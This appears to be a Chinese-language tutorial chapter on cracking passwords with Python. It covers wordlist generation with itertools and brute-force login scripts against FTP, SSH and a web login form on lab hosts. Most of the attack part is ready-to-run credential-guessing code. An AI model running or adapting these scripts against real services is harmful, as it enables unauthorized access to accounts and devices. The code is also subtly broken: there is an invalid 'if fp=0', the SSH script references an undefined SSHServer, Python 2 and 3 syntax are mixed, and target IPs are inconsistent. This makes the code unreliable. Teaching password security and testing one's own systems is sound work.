目前最常见的身份认证模式采用的仍然是“用户名+密码”的方式,用户自行设定密码,在登录时如果输入正确的密码,计算机就会认为操作者是合法用户。
但是这种认证方式的缺陷也很明显,如何保证密码不被泄露以及不被破解和已经成为网络安全的最大问题之一。本章中将介绍基于Python实现的密码破解。密码破解是指利用各种手段获得网络、系统或资源密码的过程。
网络上很多常见的应用都采用了密码认证模式,例如FTP、Telnet、SSH等,这些应用被广泛地应用在各种网络设备上,如果这些认证模式出现了问题,那就意味着网络中的大量设备将会沦陷。遗憾的是,目前确实有很多网络的设备因为密码设置不够强壮已经遭到入侵。
针对这些简单的网络服务认证,可以采用一种“暴力破解”的方法。这种方法的思路很简单,就是把所有可能的密码都尝试一遍,通常可以将这些密码保存为一个字典文件。
一般有如下三种思路:
纯字典攻击。这种思路最为简单,攻击者只需要利用攻击工具将用户名和字典文件中的密码组合起来,一个个地进行尝试即可。
破解成功的概率与选用的字典有很大关系,目标用户通常不会选用毫无意义的字符组合作为密码,所以对目标用户有一定的了解可以帮助更好地选择字典。
大多数字典文件都是以英文单词为主,这些字典文件更适用于破解以英语为第一语言用户的密码,对于破解母语非英语的用户设置的密码效果并不好。
混合攻击。现在的各种应用对密码的强壮都有了限制,例如,在注册一些应用时,通常不允许是应用“123456”或“aaaaaa”这种单纯的数字和字母的组合,因此很多人会采用字符+数字的密码方式。
例如,使用某人的名字加上生日就是一种很常见的密码(很多人都以自己孩子的英文名字加出生日期作为密码),如果仅使用一些常见的英文单词作为字典的内容,显然具有一定的局限性。而混合攻击则是依靠一定的算法对字典文件中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字,例如一个单词“test”,经过算法处理之后就会变成“test1”“test2”…“”test1991“test19910202”等。
完全暴力攻击。这时一种最为粗暴的攻击方式,实际上这种方式并不需要字典,而是由攻击工具将所有的密码穷举出来,这种攻击方式通常需要很长的时间,也是最为不可行的一种方式。但是在一些早期的系统中,都采用了6位长度的纯数字密码,这种方法则是非常有效的。
破解密码字典
常见的字典文件一般是txt或者dic格式:一个常见的破解字典文件。
在kali linux系统中字典文件的来源一共有以下三个:
生成字典至少需要指定如下两项:
使用Python来编写一个生成字典的程序,在这个程序中需要使用到一个新的模块:itertools,这是一个强大的内置模块。
itertools这个模块中提供了很多函数,其中最为基础的是三个无穷循环器:
- count():这个个函数的作用是长生递增的序列,例如count(1,5),生成从1开始的循环器,每次增加5,即1,6,11,16,…。
- cycle():这个函数的作用是重复序列中的元素,例如cycle(‘hello’),将序列中的元素重复,即h,e,l,l,o,h,e,l,l,o,h,…。
- repeat():这个函数的作用是重复元素,构成无穷循环器,例如Repeat(100),即100,100,100,100,…。
除了这些基本函数之外,还有一些用来实现循环器的组合操作的函数,这些函数适用于生成字典文件。
- product():它可以用来获得多个循环器的笛卡尔积,例如product(‘xyz’,[0,1]),得到的结果就是x0,y0,z0,x1,y1,z1。
- permutations(‘abcd’,2):从’abcd’中挑选两个元素,例如ab,bc,…,并将所有结果排序,返回为新的循环器。这些元素中的组合是有顺序的,同时生成cd和dc。
- combinations(‘abc’,2):从’abcd’中挑选两个元素,例如ab,bc,…,将所有结果排序,返回为新的循环器,这些元素中的组合是没有顺序的,例如c和d只能生成cd。
一个简单的字典文件生成代码:
import itertools
words="1234567890abcdefghijklmnopqrstuvwxyz"
temp=itertools.permutations(words,2)
passwords=open("dic.txt","a")
for i in temp:
passwords.write("".join(i))
passwords.write("".join("\n"))
passwords.close()
如果已经获悉目标的密码为几个特定字符,可以由用户输入这些字符。
import sys
import itertools
if len(sys.argv)!=3:
print("input:" )
sys.exit(1)
words=sys.argv[1]
n=sys.argv[2]
temp=itertools.permutations(words,n)
passwords=open("dict.txt","a")
for i in temp:
passwords.write("".join(i))
passwords.write("".join("\n"))
passwords.close()
从网络上下载热门字典
在应用这些字典之前,最好也要收集到关于目标足够多的信息,例如,如果目标密码是一个不懂外语的中国人设置的,那么显然不应该使用那些英文单词组成的字典。
把下载的文件放在root目录下,编写脚本,这里封装成一个函数
def GetPassword():
fp=open("password.txt","r")
if fp=0:
print("open file error!")
return;
while 1:
line=fp.readline()
if not line:
break
passwd=line.strip('\n')
print passwd
FTP是File Transfer Protocol(文件传输协议)的简称,中文简称“文件协议”,用于在Internet上控制文件的双向传输。
同时,它也是一个应用程序(Application)。使用FTP时必须首先登录,在远程主机上获得相应权限后,方可下载或上传文件。也就是说,要向同哪一台计算机传送文件,就必须具有哪一台计算机的适当授权。换言之,除非有用户ID和口令,否则便无法传送文件。
不过现在大部分FTP都提供了匿名登录的机制,这种FTP可以使用用户名“anonymous”和任意的密码来登录。考虑的主要是如何去对那些设置了用户名和密码限制的FTP进行破解。
在开始破解之前,先来了解一下FTP的工作流程。
Python中默认就提供了一个专门用来对FTP进行操作的ftplib模块,这个模块很精简,里面提供了一些用来实现登录、上传和下载的函数。
首先,导入使用ftplib库文件:import ftplib
其次, 使用ftplib创建一个FTP对象:ftp=ftplib.FTP("192.168.169.133")
调用这个对象中的connect()函数去连接目标的21端口:ftp.connect("192.168.169.133",21,timeout=10)
调用这个对象中的login()函数使用admin作为用户名,test作为密码来登录:ftp.login("admin","test")
如果登录成功,就会得到一个230回应
然后可以使用LIST命令(这是FTP本身的命令)来展示FTP服务器中的文件:ftp.retrlines('LIST')
最后,可以使用quit()函数断开与FTP服务器的连接:ftp.quit()
完整代码如下:登录FTP服务器
def Login(FTPServer,userName,passwords):
try:
f=ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.login(userName,passwords)
f.retrlines("LIST")
f.quit()
print("We ger=t right password!")
except ftplib.all_errors:
pass
下面整合一个完整的破解程序。这里需要同时考虑用户名和密码,但是,如果在用户名和密码都不知道的情况下,使用暴力破解的难度会变得非常大。在目标主机192.168.0.116上建立了一个FTP服务器
192.168.0.116 服务器的IP地址
/root/name.txt 创建的用户名字典
/root.500-worstpasswords.txt 下载的密码字典
import ftplib
import sys
if len(sys.argv)!=4:
print("FTPbrute.py " )
sys.exit(1)
FTPServer=sys.argv[1] #服务器IP地址
UserDic=sys.argv[2] #用户名字典
PasswordDic=sys.argv[3] #密码字典
def Login(FTPServer,userName,passwords):
try:
f=ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10)
f.login(userName,passwords)
f.retrlines("LIST")
f.quit()
print("The userName is %s and password is %s" % (userName,passwords))
except ftplib.all_errors:
pass
userNameFile=open(UserDic,"r")
for user in userNameFile.readlines():
passWordsFile=open(PasswordDic,"r")
for passwd in passWordsFile.readlines():
un=user.strip("\n")
pw=passwd.strip("\n")
Login(FTPServer,un,pw)
passWordsFile.close()#文件处理,如果没有close,程序会将光标指向最后,下次再打开无法进行读取等操作
userNameFile.close()
SSH为Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定。
SSH是建立再应用层基础上的安全协议。SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效放置远程管理过程中的信息泄露问题。
这个协议和Telnet协议一样,都可以用来实现远程管理,但是Telnet由于传输的过程中没有使用任何的假面方式,所以被认为是不安全的,而SSH则称为目前远程管理首选的协议。
相比FTP,除了功能上有所不同之外,SSH登录的过程也要复杂一些,首先建立一个SSH服务器。下载一款名为WinSSHD的工具,这款工具很简单,可以运行在Window操作系统中。一台主机在安装WinSSHD之后,就会变成一个SSH服务器,就可以从远程使用Windows系统的用户和密码来登录。
SSH中的数据需要加密。这一点由我们自己来实现,工作量是很大的,这份额外的工作显然是不必要的。
介绍一个专门用来处理SSH远程登录的Python库:pxssh。
这个库主要有如下函数:
利用这个pxssh库,只需要对前面的FTP代码进行一点修改即可。
from pexpect import pxssh
import sys
if len(sys.argv)!=4:
print("SSHbrute.py " )
sys.exit(1)
FTPServer=sys.argv[1] #服务器IP地址
UserDic=sys.argv[2] #用户名字典
PasswordDic=sys.argv[3] #密码字典
def Login(FTPServer,userName,passwords):
try:
s=pxssh.pxssh()
s.login(SSHServer,userName,passwords)#登录
print("The userName is %s and password is %s" % (userName,passwords))
except:#用户名密码错误报错
print("[-] Error Connecting")
userNameFile=open(UserDic,"r")
for user in userNameFile.readlines():
passWordsFile=open(PasswordDic,"r")
for passwd in passWordsFile.readlines():
un=user.strip("\n")
pw=passwd.strip("\n")
Login(FTPServer,un,pw)
passWordsFile.close()#文件处理,如果没有close,程序会将光标指向最后,下次再打开无法进行读取等操作
userNameFile.close()
在现实生活中,Web页面中需要输入用户名和密码的情况更为常见。接下来编写一个对Web页面的用户名和密码进行暴力破解的程序。
首先搭建一个测试用的服务器,这里再Windows 7(IP地址为192.168.0.118)上面安装一个Easy File Sharing Web Server软件,成功安装之后,运行这个软件就可以在80端口上对外提供HTTP服务。
web需要抓包,查看数据包结构
从上图可看出整个登录过程,其实就是POST方法向目标提交了以下4个选项
接下来编写一个可以模拟这个登录过程的Python程序,这里需要引入两个库文件:requests 和 urllib
requests是一个十分有用的模块,可以轻松地使用它在网络中发送数据包。
首先导入requests模块:import requests
requests提供给了两种HTTP请求方法:GET和POST。GET是从指定的资源请求数据。POST是向指定的资源提交要被处理的数据。
可以使用requests中的get()方法来读取:r=requests.get('http://192.168.0.118')
也可以使用requests中的post()方法来提交请求,这里根据之前抓包的结果,提交的地址为"http://192.168.0.118/forum.ghp"
提交的表项如下4项:payload={"frmLogin":"true","frmUserName":"root","frmUserPass":"123456","login":"login!"}
然后可以使用post()方法来提交请求,这个方法需要一个地址和提交的内容:resp=requests.post("http://192.168.0.118/forum.ghp",payload)
通过WireShark捕获这个过程的数据包,过程如图所示:
resp是发出数据包以后得到的回应,但是这里面resp并不是第一个数据包,而是图中第二个数据包,这个数据包的返回状态为“302”。(但是打印输出为200,这里判断会比较模糊)
在很多Python编程中,都是使用返回状态来判断程序是否找到了正确的用户名和密码,例如,302是找到正确用户名和密码,200则是错误。或者200是找到正确的用户名,302是错误。
现在查看输入正确的用户名和密码的结果
接下来向这个程序发送一个包含正确用户名和密码的payload
可以发现无论输入的用户名和密码正确与否,返回数据包的状态都是200,就不能利用这个值来区分了
不过,正确的用户名和密码一定会和错误的有所区别: 输入正确的用户名和密码应该转向到控制页面。输入错误的用户名和密码则不会跳转到这个页面,所以可以从这里入手。这里查看resp.url属性的值。
首先查看输入正确的时候
再来查看以下输入错误的时候
所以,只需要使用resp.url=="http://192.168.169.133/webadmin/main.asp"作为条件来判断用户名和密码是否正确。